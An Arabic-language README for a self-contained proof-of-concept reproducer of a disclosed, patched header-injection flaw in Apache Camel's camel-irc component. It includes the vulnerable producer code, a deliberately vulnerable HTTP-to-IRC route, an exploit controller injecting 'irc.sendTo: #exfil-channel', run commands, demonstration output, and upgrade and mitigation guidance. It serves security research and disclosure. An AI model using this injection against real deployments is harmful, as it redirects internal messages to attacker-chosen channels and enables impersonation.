
مُعيد إنتاج لإثبات المفهوم لـ CVE-2026-49097 (Apache Camel camel-irc): ترويسة irc.sendTo غير المسبوقة بـ Camel تتجاوز مرشح ترويسات HTTP وتستبدل القناة المُكوّنة للمنتِج، مما يعيد توجيه رسالة IRC إلى وجهة يختارها المهاجم. تم الإصلاح في 4.14.8/4.18.3/4.21.0.
يُوضِّح هذا المشروع حقن ترويسة الرسالة (message-header injection) في مكوِّن camel-irc الخاص بـ Apache Camel، والمُسجَّل باسم CVE-2026-49097. يقرأ IrcProducer ترويسة irc.sendTo لاختيار وجهة رسالة IRC الصادرة؛ وعند وجودها فإنها تتجاوز قائمة القنوات المُهيأة في نقطة النهاية (endpoint):
// IrcProducer.process (affected 4.18.2)
final String sendTo = exchange.getIn().getHeader(IrcConstants.IRC_SEND_TO, String.class); // "irc.sendTo"
...
} else if (sendTo != null) {
connection.doPrivmsg(sendTo, msg); // attacker-chosen destination
} else {
for (IrcChannel channel : getEndpoint().getConfiguration().getChannelList()) {
connection.doPrivmsg(channel.getName(), msg); // the intended, configured channel(s)
}
}
للقيمة الثابتة للترويسة IRC_SEND_TO القيمة البسيطة irc.sendTo. وبما أنها لا تبدأ بالبادئة Camel / camel، فإن HttpHeaderFilterStrategy — الذي يحظر نطاق ترويسات Camel فقط عند حدود HTTP — يسمح لها بالمرور من طلب HTTP وارد مباشرةً إلى الـ Exchange.
في مسار يربط مُستهلك HTTP (على سبيل المثال platform-http) بمُنتِج irc:، يمكن لأي عميل HTTP بالتالي توفير irc.sendTo وإعادة توجيه الرسالة إلى أي قناة أو nick في IRC، مما يُسرِّب محتوى كان موجَّهًا لقناة داخلية إلى وجهة يراقبها المهاجم، أو انتحال شخصية البوت في قناة أخرى. تمت إعادة تسمية تسعة ثوابت irc.* أخرى في نفس الإصلاح؛ وirc.sendTo هي القابلة للاستغلال مباشرةً.
يُظهر هذا الإثبات المفاهيمي (PoC) التأثير كـإعادة توجيه الرسائل / إفشاء المعلومات (CWE-20 → CWE-74).
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-49097.html
يعيد الإصلاح تسمية ثوابت الترويسات العشرة
irc.*وفق اصطلاحCamelIrc*(على سبيل المثالirc.sendTo→CamelIrcSendTo)، بحيث يتم تصفيتها عند حدود HTTP مثل أي ترويسة تحكم أخرى في Camel. تنتمي إلى نفس عائلة CVE-2025-27636 وCVE-2026-46454 وCVE-2026-48206. ملاحظة:camel-ircمُهمَل (deprecated) اعتبارًا من 4.21.0.
تكمن الثغرة بالكامل في اختيار الوجهة داخل IrcProducer؛ ومقبس IRC هو مجرد وسيلة نقل. يشغِّل مُعيد الإنتاج هذا IrcProducer الفعلي وفئة irclib الفعلية IRCConnection، مع اشتقاق فئة فرعية منها بحيث أن send(...) — التي يمر عبرها كل أمر do* بما في ذلك doPrivmsg — تسجّل هدف PRIVMSG بدلًا من الكتابة إلى مقبس. مكوِّن irc مخصص وصغير يوفِّر ذلك الاتصال المسجِّل. لا يتم الاتصال بأي شبكة IRC.
from("platform-http:/notify")
.to("irc:ircnet:6667?nickname=notifierbot&channels=%23alerts&commandTimeout=100");
نقطة نهاية "notify" تعيد التوجيه إلى قناة داخلية ثابتة #alerts. لا توجد معاملات وجهة في واجهة HTTP API — يفترض المؤلِّف أن العميل لا يمكنه اختيار القناة. يضبط المهاجم irc.sendTo فيقوم البوت بالنشر إلى قناة من اختيار المهاجم.
CVE-2026-49097/
├── pom.xml # camel-platform-http + camel-irc 4.18.2 (irclib 1.10)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── RecordingIRCConnection.java # real IRCConnection subclass; records PRIVMSG targets, no socket
│ ├── RecordingIrcComponent.java # hands out the recording connection
│ ├── IrcComponentConfig.java # registers it under the 'irc' scheme
│ ├── IrcRecorder.java # captures the last delivered target + text
│ ├── VictimRoute.java # platform-http:/notify -> irc:...#alerts
│ └── ExploitController.java # attacker: injects irc.sendTo=#exfil-channel
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
=== CVE-2026-49097 — camel-irc irc.sendTo header injection (message redirection) ===
Route intent: POST /notify -> IRC channel #alerts (fixed in the endpoint config)
1) Legitimate POST /notify (no irc.sendTo header)
IRC message delivered to: #alerts
text: Revenue report Q3: $4.2M (internal distribution only)
2) Injected POST /notify with header 'irc.sendTo: #exfil-channel'
IRC message delivered to: #exfil-channel
text: Revenue report Q3: $4.2M (internal distribution only)
>>> PROVEN: an inbound HTTP header (irc.sendTo) passed the Camel HTTP header filter and
>>> overrode the producer's configured channel, sending the internal notification to an
>>> attacker-chosen IRC destination (exfiltration / bot impersonation): true
قم بالترقية إلى 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23629). بعد الترقية، يجب على المسارات التي تضبط وجهة IRC عبر ترويسة أن تستخدم الاسم CamelIrcSendTo. لاحظ أن camel-irc مُهمَل اعتبارًا من 4.21.0.
إلى حين الترقية، قم بإزالة ترويسات التحكم في camel-irc من أي مدخل غير موثوق قبل مُنتِج irc: (على سبيل المثال removeHeaders("irc.*"))، واضبط الوجهة من مصدر موثوق.
تم توفير مُعيد الإنتاج هذا لأغراض البحث الأمني والاختبار المصرَّح به فقط، من أجل ثغرة مُعلَنة علنًا ومُصحَّحة. لا تستخدمه ضد الأنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكوِّن | camel-irc |
| الفئة المتأثرة | org.apache.camel.component.irc.IrcProducer التي تقرأ IrcConstants.IRC_SEND_TO ("irc.sendTo") |
| CWE | CWE-20 (التحقق غير السليم من المدخلات) / CWE-74 (الحقن) |
| التأثير | إعادة توجيه رسالة IRC صادرة إلى قناة/nick يختارها المهاجم (استخراج بيانات، انتحال شخصية) |
| الشروط المسبقة | مسار يربط مُستهلك HTTP بمُنتِج irc:؛ بدون مصادقة عندما يكون المُستهلك |
| الإصدارات المتأثرة | من 4.0.0 حتى ما قبل 4.14.8، ومن 4.15.0 حتى ما قبل 4.18.3، ومن 4.19.0 حتى ما قبل 4.21.0 |
| الإصدارات المُصحَّحة | 4.14.8، 4.18.3، 4.21.0 |
| JIRA | CAMEL-23629 (PR apache/camel#23594) |
| الفضل | Yu Bao (PayPal) |